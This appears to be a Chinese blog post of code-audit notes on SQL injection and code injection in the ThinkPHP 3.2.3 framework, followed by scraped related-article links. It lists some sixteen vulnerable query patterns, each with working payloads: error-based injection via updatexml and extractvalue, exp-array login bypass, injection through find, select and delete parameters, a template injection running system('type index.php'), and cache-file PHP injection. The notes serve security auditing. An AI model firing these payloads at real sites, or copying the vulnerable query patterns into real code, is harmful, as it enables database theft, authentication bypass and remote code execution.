<?php
namespace Home\Controller;
use Think\Controller;
class UserController extends Controller { public function index(/*$id*/)
{
// S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
//在Temp生成文件 生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
// F('key','<?php phpinfo();?>'); 14.生成缓存文件,在 runtime/key.php
$this->display();
/*
// $name = $_GET['name'];
// $this->assign($name); 13.模板问题 http://127.0.0.1/tp/index.php/home/user/index?name[_content]=<?php system('type index.php');;?>
// $this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默认是Think // $map['id'] = 5;
// $map['_query']='username=afanti&score=10'; //12._query参数可控SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
// $data = M('user')->where($map)->select();
// dump(data);
// $map['id'] = I('id');
// $map['_string'] = 'username='."'".I('username')."'"; //12组合注入 http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )
// $data = M('user')->where($map)->select();
// dump(data); // $user = M("user"); //11.setInc注入
// $user->where('id=5')->setInc('sorce'.I('num')); // if(intval($id)>0)
// { //10、参数传递注入 public\s+function\s+[\w_]+\(\$
// $data = M('user')->where('id='.$id)->select(); //?id=1) 直接绕过判断
// dump($data);
// }
// $map = array();
//
// $data = array();
// $data['user'] = $_POST['username'];
// $data['pass'] = md5($_POST['password']); 9.exp username[0]=exp&username[1]=aa'or 1=1%23&password=1
// M('user')->where($data)->find();
//
// $res = M('member')->where(array('id'=>$_GET['userid']))->count(); 9.exp userid[0]=exp&userid[1]=aaaaaa
//
//// $map['id']=I('id'); //这样exp不可以
// $map['id'] = $_GET['id']; //9.exp 注入http://127.0.0.1/tp/index.php/home/user/index?id[0]=exp&id[1]=aaaaaa
// $data = M('user')->where($map)->select();
// dump($data);
// M('user')->count(I('par')); //8聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*
// //8.query,execute支持原生的sql语句 聚合函数
//$Model->index(I('user'))->select(); //7.索引注入
// M('user')->comment(I('comment'))->where('1=1')->select(); //6.comment SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111
// M('user')->where('1=1')->order(array('id'=>I('orderby')))->select(); //5.order,group,having参数可控 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc
// M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select(); // 4.->(alias|join|union)\s*\((\$|\$_|I) 用正则查找 alias|join|union参数可控制
// M('user')->field(I('id'))->where('1=1')->select(); //3.SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控
// M('user')->field(array('id','username'=>I('name')))->select(); //3.field SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错
// M()->table(I('biao'))->where('1=1')->select(); //2.table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必须存在
// $data = M('user')->where("id=".I('id'))->select(); //1.where后直接直接拼接会产生注入
// dump($data);
// $data = I('id','1','intval');
// echo $data; //URL_PARAMS_BIND == true
// echo $id; //参数绑定 http://127.0.0.1/tp/index.php/home/user/index/id/11111111 传入11111
// echo "usercontroller"; } }

  
 

1.where后直接直接拼接会产生注入

$data = M('user')->where("id=".I('id'))->select();

2.table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必须存在。

M()->table(I('biao'))->where('1=1')->select();

3.

M('user')->field(I('id'))->where('1=1')->select(); //3.SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控导致注入

M('user')->field(array('id','username'=>I('name')))->select(); //3.field SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错

4.->(alias|join|union)\s*\((\$|\$_|I) 用正则查找 alias|join|union参数可控制

M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select();

5.order,group,having参数可控 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc

M('user')->where('1=1')->order(array('id'=>I('orderby')))->select();

6.comment注入 SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111

M('user')->comment(I('comment'))->where('1=1')->select();

7.索引注入

$Model->index(I('user'))->select();

8.query,execute,聚合函数支持原生的sql语句

M('user')->count(I('par')); //聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*

9.exp注入

a.)

$data = array();

$data['user'] = $_POST['username'];

$data['pass'] = md5($_POST['password']); payload: username[0]=exp&username[1]=aa'or 1=1%23&password=1

M('user')->where($data)->find();

b.)

$res = M('member')->where(array('id'=>$_GET['userid']))->count();   payload:  userid[0]=exp&userid[1]=aaaaaa

c.)通过I函数exp注入就不存在了

$res = M('member')->where(array('id'=>$I('userid')))->count();

10、参数传递注入 public\s+function\s+[\w_]+\(\$

public function index(/*$id*/)....

if(intval($id)>0)
{
 $data = M('user')->where('id='.$id)->select(); //?id=1) 直接绕过判断
 dump($data);
}
11.setInc注入

$user = M("user");
$user->where('id=5')->setInc('sorce'.I('num'));

12.组合注入

http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti

SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )

$map['id'] = I('id');
$map['_string'] = 'username='."'".I('username')."'"; 
$data = M('user')->where($map)->select();
dump(data);

13、_query参数可控

SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )

$map['id'] = 5;
$map['_query']='username=afanti&score=10'; //12._query参数可控SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )
$data = M('user')->where($map)->select();
dump(data);

14、模板问题:http://127.0.0.1/tp/index.php/home/user/index?name[_content]=<?php system('type index.php');;?>

$name = $_GET['name'];
$this->assign($name); 
$this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默认是Think

15、在runtime/key.php

S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
在Temp生成文件 生成的文件名字可到cmd5破解
<?php
//000000000000s:12:"
phpinfo()//";
?>
F('key','<?php phpinfo();?>'); 
$this->display();

thinkphp3.2.3

跨控制器的方法R:

public function test()
{
echo "test";
echo I('name');

$data = M('user')->where('id=1')->select();
 $a = A('User');
 $a->index();
 R('User/index'); //跨控制器
 dump($data);
}

16.select、find、delete注入

public function test()
{
$id = i('id');
$res = M('user')->find($id);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
注入的payload:
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
delete方法注入payload:
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
 

thinkphp3.2.3代码审计的更多相关文章

  1. 代码审计准备之Thinkphp3

    0x01环境部署: 下载: 获取ThinkPHP的方式很多,官方网站(http://thinkphp.cn)是最好的下载和文档获取来源. 官网提供了稳定版本的下载:http://thinkphp.cn ...

  2. 代码审计-Thinkphp3框架EXP表达式SQL注入

    最近看java框架源码也是看的有点头疼,好多还要复习熟悉 还有好多事没做...慢慢熬. 网上好像还没有特别详细的分析 我来误人子弟吧. 0x01 tp3 中的exp表达式 查询表达式的使用格式: $m ...

  3. 代码审计-thinkphp3.2.3框架漏洞sql注入

    开始复现审计一下tp3和tp5的框架漏洞,当个练习吧. 涉及注入的方法为where() table() delete()等. 环境 tp3.2.3 : 0x01 注入成因 测试代码: public f ...

  4. PHP代码审计05之正则使用不当

    前言 根据红日安全写的文章,学习PHP代码审计的第五节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完题目会用一道CTF的题目和实例来加深巩固.这是之前写的,有兴趣可以去看看 ...

  5. Thinkphp3分析与审计

    0x00 前言: 这篇是去年组内分享的时候给小伙伴写的0基础快速审计tp3系列的文章,主要是对架构做个分析以及审计一些sql注入漏洞~ 现在想想打算放出来,过了一年了,可能里面有一些问题,望看到的大佬 ...

  6. thinkphp3.2.3中U()方法和redirect()方法区别

    今天博主看3.1的教程,学着3.2,就遇到了这个坑,怎么就是不跳转呢,很纳闷!! 在thinkphp3.1 中 U()方法是可以执行跳转的(看视频教程里面是可以的,博主没有测试过). 但是在think ...

  7. thinkphp3.2.3版本文件目录及作用

    下载thinkphp3.2.3版本,解压缩后将文件夹名字改为thinkphp,然后放在www目录下,里面的文件夹和文件的名字和作用如下:(前面有Tab健的表示下一级,thinkphp是根目录) //t ...

  8. 基于ThinkPHP3的微信平台开发_1

    微信公众平台是个好东西,具体的就不说了,我直接说技术>_< 下图为目录结构一览: 微信开发 - 文件目录结构 平台功能: 此次开发的平台是面向多微信公众号.微信多公众号主(下面简称号主)的 ...

  9. Thinkphp3.2.3使用Ajax一定注意 数据返回

    Thinkphp3.2.3使用Ajax一定注意 数据返回 $data = 'ok'; $this->ajaxReturn($data); 不能直接 echo $data;

随机推荐

  1. Spring.Net---3、IoC/DI深入理解

    ------------------------------------------------------------------------ 理解IoC/DI 1.控制反转 --> 谁控制谁 ...

  2. js复选框全选反选

    本篇文章是关于复选框的,有2种形式:1.全选.反选由2个按钮实现:2.全选.反选由一个按钮实现. <!DOCTYPE html> <html> <head> < ...

  3. sql:SQL Server metadata queries

    http://www.mssqltips.com/sqlservertip/3449/making-sql-server-metadata-queries-easier-with-these-new- ...

  4. 在Ubuntu 14.04.1 LTS 上安装gettext失败

    使用apt-get install -f,因为有额外的依赖.

  5. asp.net修改上传文件大小

    我们大家都知道ASP.NET为我们提供了文件上传服务器控件FileUpload,默认情况下可上传的最大文件为4M,如果要改变可上传文件大小限制,那么我们可以在web.config中的httpRunti ...

  6. 安装使用jupyter

    介绍 jupyter是IPython剥离出来成为一个语言无关的独立软件包. jupyter已经支持50多种语言的内核,包括Lisp.R.F#.Perl.Ruby.Scala等.事实上即使IPython ...

  7. JavaScript运算符优先级引起的bug

    [下面是昨天发给同事的邮件,为防止泄露商业机密,隐去了项目名和变量名] ==================================================== 昨天发现Nx代码中的一 ...

  8. prince2的市场使用规模有多大?

    PRINCE2的使用和应用非常广泛.在过去的12个月里,超过60,000人参加了PRINCE2基础资格(Foundation)或从业资格(Practitioner)考试.现在每周参加考试的人数超过了2 ...

  9. java indexOf 和 split的用法

    1.java 的 indexOf 方法 ,如果存在 则 指定的字符串的开始位置,如果不存在 则返回-1: 2.java 的 split的方法:将一个字符串分割为子字符串,然后将结果作为字符串数组返回. ...

  10. zabbix共享内存报错cannot create semaphore set

    zabbix共享内存报错 cannot open log: cannot create semaphore set: [28] No space left on device 报错原因: kernel ...